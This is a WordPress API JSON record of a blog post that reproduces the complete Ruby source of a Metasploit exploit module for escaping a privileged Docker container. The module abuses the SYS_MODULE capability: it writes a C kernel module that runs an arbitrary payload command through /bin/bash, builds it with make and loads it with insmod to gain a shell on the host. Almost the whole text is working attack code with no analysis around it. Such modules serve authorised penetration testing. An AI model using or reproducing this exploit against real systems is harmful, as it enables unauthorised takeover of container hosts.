{"id":56670,"date":"2024-05-06T19:09:43","date_gmt":"2024-05-06T15:09:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178463\/docker_privileged_container_kernel_escape.rb.txt"},"modified":"2024-05-06T19:09:43","modified_gmt":"2024-05-06T15:09:43","slug":"docker-privileged-container-kernel-escape","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/docker-privileged-container-kernel-escape\/","title":{"rendered":"Docker Privileged Container Kernel Escape"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<br \/>class MetasploitModule &lt; Msf::Exploit::Local<br \/>Rank = NormalRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>include Msf::Post::File<br \/>include Msf::Post::Unix<br \/>include Msf::Post::Linux::System<br \/>include Msf::Post::Linux::Kernel<br \/>include Msf::Exploit::FileDropper<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>{<br \/>&#8216;Name&#8217; =&gt; &#8216;Docker Privileged Container Kernel Escape&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module performs a container escape onto the host as the daemon<br \/>user. It takes advantage of the SYS_MODULE capability. If that<br \/>exists and the linux headers are available to compile on the target,<br \/>then we can escape onto the host.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Nick Cottrell &lt;Rad10Logic&gt;&#8217;, # Module writer<br \/>&#8216;Eran Ayalon&#8217;, # PoC\/article writer<br \/>&#8216;Ilan Sokol&#8217; # PoC\/article writer<br \/>],<br \/>&#8216;Platform&#8217; =&gt; %w[linux unix],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [[&#8216;Automatic&#8217;, {}]],<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;PrependFork&#8217; =&gt; true, &#8216;WfsDelay&#8217; =&gt; 20 },<br \/>&#8216;SessionTypes&#8217; =&gt; %w[shell meterpreter],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;References&#8217; =&gt; [<br \/>%w[URL https:\/\/www.cybereason.com\/blog\/container-escape-all-you-need-is-cap-capabilities],<br \/>%w[URL https:\/\/github.com\/maK-\/reverse-shell-access-kernel-module]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2014-05-01&#8217;, # Went in date of commits in github URL<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]}<br \/>}<br \/>)<br \/>)<br \/>register_advanced_options([<br \/>OptString.new(&#8216;KernelModuleName&#8217;, [true, &#8216;The name that the kernel module will be called in the system&#8217;, rand_text_alpha(8)], regex: \/^[\\w-]+$\/),<br \/>OptString.new(&#8216;WritableContainerDir&#8217;, [true, &#8216;A directory where we can write files in the container&#8217;, &#8220;\/tmp\/.#{rand_text_alpha(4)}&#8221;])<br \/>])<br \/>end<\/p>\n<p># Check we have all the prerequisites to perform the escape<br \/>def check<br \/># Checking database if host has already been disclosed as a container<br \/>container_name =<br \/>if active_db? &amp;&amp; framework.db.workspace.hosts.where(address: session.session_host)&amp;.first&amp;.virtual_host<br \/>framework.db.workspace.hosts.where(address: session.session_host)&amp;.first&amp;.virtual_host<br \/>else<br \/>get_container_type<br \/>end<\/p>\n<p>unless %w[docker podman lxc].include?(container_name.downcase)<br \/>return Exploit::CheckCode::Safe(&#8216;Host does not appear to be container of any kind&#8217;)<br \/>end<\/p>\n<p># is root user<br \/>unless is_root?<br \/>return Exploit::CheckCode::Safe(&#8216;Exploit requires root inside container&#8217;)<br \/>end<\/p>\n<p># Checking if the SYS_MODULE capability is enabled<br \/>capability_bitmask = read_file(&#8216;\/proc\/1\/status&#8217;)[\/^CapEff:\\s+[0-9a-f]{16}$\/][\/[0-9a-f]{16}$\/].to_i(16)<br \/>unless capability_bitmask &amp; 0x0000000000010000 &gt; 0<br \/>return Exploit::CheckCode::Safe(&#8216;SYS_MODULE Capability does not appear to be enabled&#8217;)<br \/>end<\/p>\n<p>CheckCode::Vulnerable(&#8216;Inside Docker container and target appears vulnerable.&#8217;)<br \/>end<\/p>\n<p>def exploit<br \/>krelease = kernel_release<br \/># Check if kernel header folders exist<br \/>kernel_headers_path = [<br \/>&#8220;\/lib\/modules\/#{krelease}\/build&#8221;,<br \/>&#8220;\/usr\/src\/kernels\/#{krelease}&#8221;<br \/>].find { |path| directory?(path) }<br \/>unless kernel_headers_path<br \/>fail_with(Failure::NoTarget, &#8216;Kernel headers for this target do not appear to be installed.&#8217;)<br \/>end<br \/>vprint_status(&#8220;Kernel headers found at: #{kernel_headers_path}&#8221;)<\/p>\n<p># Check that our required binaries are installed<br \/>unless command_exists?(&#8216;insmod&#8217;)<br \/>fail_with(Failure::NoTarget, &#8216;insmod does not appear to be installed.&#8217;)<br \/>end<br \/>unless command_exists?(&#8216;make&#8217;)<br \/>fail_with(Failure::NoTarget, &#8216;make does not appear to be installed.&#8217;)<br \/>end<\/p>\n<p># Check that container directory is writable<br \/>if directory?(datastore[&#8216;WritableContainerDir&#8217;]) &amp;&amp; !writable?(datastore[&#8216;WritableContainerDir&#8217;])<br \/>fail_with(Failure::BadConfig, &#8220;#{datastore[&#8216;WritableContainerDir&#8217;]} is not writable&#8221;)<br \/>end<\/p>\n<p># Checking that kernel module isn&#8217;t already running<br \/>if kernel_modules.include?(datastore[&#8216;KernelModuleName&#8217;])<br \/>fail_with(Failure::BadConfig, &#8220;#{datastore[&#8216;KernelModuleName&#8217;]} is already loaded into the kernel. You may need to remove it manually.&#8221;)<br \/>end<\/p>\n<p># Creating source files<br \/>print_status(&#8216;Creating files&#8230;&#8217;)<br \/>mkdir(datastore[&#8216;WritableContainerDir&#8217;]) unless directory?(datastore[&#8216;WritableContainerDir&#8217;])<\/p>\n<p>write_kernel_source(datastore[&#8216;KernelModuleName&#8217;], payload.encoded)<br \/>write_makefile(datastore[&#8216;KernelModuleName&#8217;])<br \/>register_files_for_cleanup([<br \/>&#8220;#{datastore[&#8216;KernelModuleName&#8217;]}.c&#8221;,<br \/>&#8216;Makefile&#8217;<br \/>].map { |filename| File.join(datastore[&#8216;WritableContainerDir&#8217;], filename) })<\/p>\n<p># Making exploit<br \/>print_status(&#8216;Compiling the kernel module&#8230;&#8217;)<br \/>results = cmd_exec(&#8220;make -C &#8216;#{datastore[&#8216;WritableContainerDir&#8217;]}&#8217; KERNEL_DIR=&#8217;#{kernel_headers_path}&#8217; PWD=&#8217;#{datastore[&#8216;WritableContainerDir&#8217;]}'&#8221;)<br \/>vprint_status(&#8216;Make results&#8217;)<br \/>vprint_line(results)<br \/>register_files_for_cleanup([<br \/>&#8216;Module.symvers&#8217;,<br \/>&#8216;modules.order&#8217;,<br \/>&#8220;#{datastore[&#8216;KernelModuleName&#8217;]}.mod&#8221;,<br \/>&#8220;#{datastore[&#8216;KernelModuleName&#8217;]}.mod.c&#8221;,<br \/>&#8220;#{datastore[&#8216;KernelModuleName&#8217;]}.mod.o&#8221;,<br \/>&#8220;#{datastore[&#8216;KernelModuleName&#8217;]}.o&#8221;<br \/>].map { |filename| File.join(datastore[&#8216;WritableContainerDir&#8217;], filename) })<\/p>\n<p># Checking if kernel file exists<br \/>unless file_exist?(&#8220;#{datastore[&#8216;WritableContainerDir&#8217;]}\/#{datastore[&#8216;KernelModuleName&#8217;]}.ko&#8221;)<br \/>fail_with(Failure::PayloadFailed, &#8216;Kernel module did not compile. Run with verbose to see make errors.&#8217;)<br \/>end<br \/>print_good(&#8216;Kernel module compiled successfully&#8217;)<\/p>\n<p># Loading module and running exploit<br \/>print_status(&#8216;Loading kernel module&#8230;&#8217;)<br \/>results = cmd_exec(&#8220;insmod &#8216;#{datastore[&#8216;WritableContainerDir&#8217;]}\/#{datastore[&#8216;KernelModuleName&#8217;]}.ko'&#8221;)<\/p>\n<p>unless results.blank?<br \/>results = results.strip<br \/>vprint_status(&#8216;Insmod results: &#8216; + (results.count(&#8220;\\n&#8221;) == 0 ? results : &#8221;))<br \/>vprint_line(results) if results.count(&#8220;\\n&#8221;) &gt; 0<br \/>end<br \/>end<\/p>\n<p>def cleanup<br \/># Attempt to remove kernel module<br \/>if kernel_modules.include?(datastore[&#8216;KernelModuleName&#8217;])<br \/>vprint_status(&#8216;Cleaning kernel module&#8217;)<br \/>cmd_exec(&#8220;rmmod #{datastore[&#8216;KernelModuleName&#8217;]}&#8221;)<br \/>end<\/p>\n<p># Check that kernel module was removed<br \/>if kernel_modules.include?(datastore[&#8216;KernelModuleName&#8217;])<br \/>print_warning(&#8216;Payload was not a oneshot and cannot be removed until session is ended&#8217;)<br \/>print_warning(&#8220;Kernel module [#{datastore[&#8216;KernelModuleName&#8217;]}] will need to be removed manually&#8221;)<br \/>end<br \/>super<br \/>end<\/p>\n<p>def write_kernel_source(filename, payload_content)<br \/>file_content = &lt;&lt;~SOURCE<br \/>#include&lt;linux\/init.h&gt;<br \/>#include&lt;linux\/module.h&gt;<br \/>#include&lt;linux\/kmod.h&gt;<\/p>\n<p>MODULE_LICENSE(&#8220;GPL&#8221;);<\/p>\n<p>static int start_shell(void){<br \/>#{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, &#8216;command&#8217;)}<br \/>char *argv[] = {&#8220;\/bin\/bash&#8221;, &#8220;-c&#8221;, command, NULL};<br \/>static char *env[] = {<br \/>&#8220;HOME=\/&#8221;,<br \/>&#8220;TERM=linux&#8221;,<br \/>&#8220;PATH=\/sbin:\/bin:\/usr\/sbin:\/usr\/bin&#8221;, NULL };<br \/>return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);<br \/>}<\/p>\n<p>static int init_mod(void){<br \/>return start_shell();<br \/>}<br \/>static void exit_mod(void){<\/p>\n<p>return;<br \/>}<br \/>module_init(init_mod);<br \/>module_exit(exit_mod);<br \/>SOURCE<br \/>filename = &#8220;#{filename}.c&#8221; unless filename.end_with?(&#8216;.c&#8217;)<br \/>write_file(File.join(datastore[&#8216;WritableContainerDir&#8217;], filename), file_content)<br \/>end<\/p>\n<p>def write_makefile(filename)<br \/>file_contents = &lt;&lt;~SOURCE<br \/>obj-m +=#{filename}.o<\/p>\n<p>all:<br \/>\\tmake -C $(KERNEL_DIR) M=$(PWD) modules<br \/>clean:<br \/>\\tmake -C $(KERNEL_DIR) M=$(PWD) clean<br \/>SOURCE<br \/>write_file(File.join(datastore[&#8216;WritableContainerDir&#8217;], &#8216;Makefile&#8217;), file_contents)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework##class MetasploitModule &lt; Msf::Exploit::LocalRank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Fileinclude Msf::Post::Unixinclude Msf::Post::Linux::Systeminclude Msf::Post::Linux::Kernelinclude Msf::Exploit::FileDropper def initialize(info = {})super(update_info(info,{&#8216;Name&#8217; =&gt; &#8216;Docker Privileged Container Kernel Escape&#8217;,&#8216;Description&#8217; =&gt; %q{This module performs a container escape onto the host as the daemonuser. It takes advantage of the SYS_MODULE capability. If thatexists and &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56670","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56670","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56670"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56670\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56670"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56670"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56670"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}